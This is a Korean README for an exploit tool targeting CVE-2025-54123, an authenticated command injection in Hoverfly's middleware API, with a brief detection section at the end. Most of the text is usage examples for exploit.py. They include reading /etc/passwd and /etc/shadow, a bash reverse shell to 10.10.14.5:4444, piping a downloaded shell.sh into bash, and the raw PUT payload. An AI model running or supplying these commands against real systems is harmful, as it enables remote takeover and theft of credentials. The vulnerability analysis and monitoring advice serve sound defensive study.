
CVE-2025-54123 Hoverfly 인증된 미들웨어 명령 주입 RCE
Hoverfly 인증 미들웨어 명령 주입 RCE | CVSS 9.8 심각
Hoverfly <= 1.11.3는 /api/v2/hoverfly/middleware 엔드포인트를 통해 인증된 명령 주입에 취약합니다. 관리자 자격 증명이 필요하지만, 인증되면 미들웨어 기능이 사용자 제공 바이너리 및 스크립트 값을 검증 없이 수락하여 임의 명령 실행을 허용합니다.
middleware.go가 임의 바이너리 경로를 수락함local_middleware.go가 사용자 입력을 직접 exec.Command()에 전달hoverfly_service.go가 검증 중에 미들웨어를 실행python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]
-t, --target - Hoverfly API 엔드포인트 (필수)-u, --username - 관리자 사용자 이름 (필수)-p, --password - 관리자 비밀번호 (필수)-c, --command - 실행할 명령어 (필수)--shell - 사용할 셸 바이너리 (기본값: /bin/bash)# 기본 명령 실행
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# 민감한 파일 읽기
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# 리버스 셸
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# 다중 명령 실행
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# 다른 셸 사용
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# 페이로드 다운로드 및 실행
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
/api/v2/hoverfly/middleware로 PUT 요청 전송/tmp/hoverfly_<random>에 기록<shell> /tmp/hoverfly_<random>{
"binary": "/bin/bash",
"script": "whoami"
}
HTTP 헤더 포함:
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
core/middleware/middleware.go:94-96 - binary 매개변수에 대한 입력 검증 부재core/middleware/local_middleware.go:14-19 - 안전하지 않은 exec.Command() 사용core/hoverfly_service.go:173 - 검증 중 즉시 실행다음을 확인하세요:
/api/v2/hoverfly/middleware로의 PUT 요청/tmp/hoverfly/의 임시 파일/api/v2/hoverfly/middleware 엔드포인트 접근 모니터링원발견자: @Kr1shna4garwal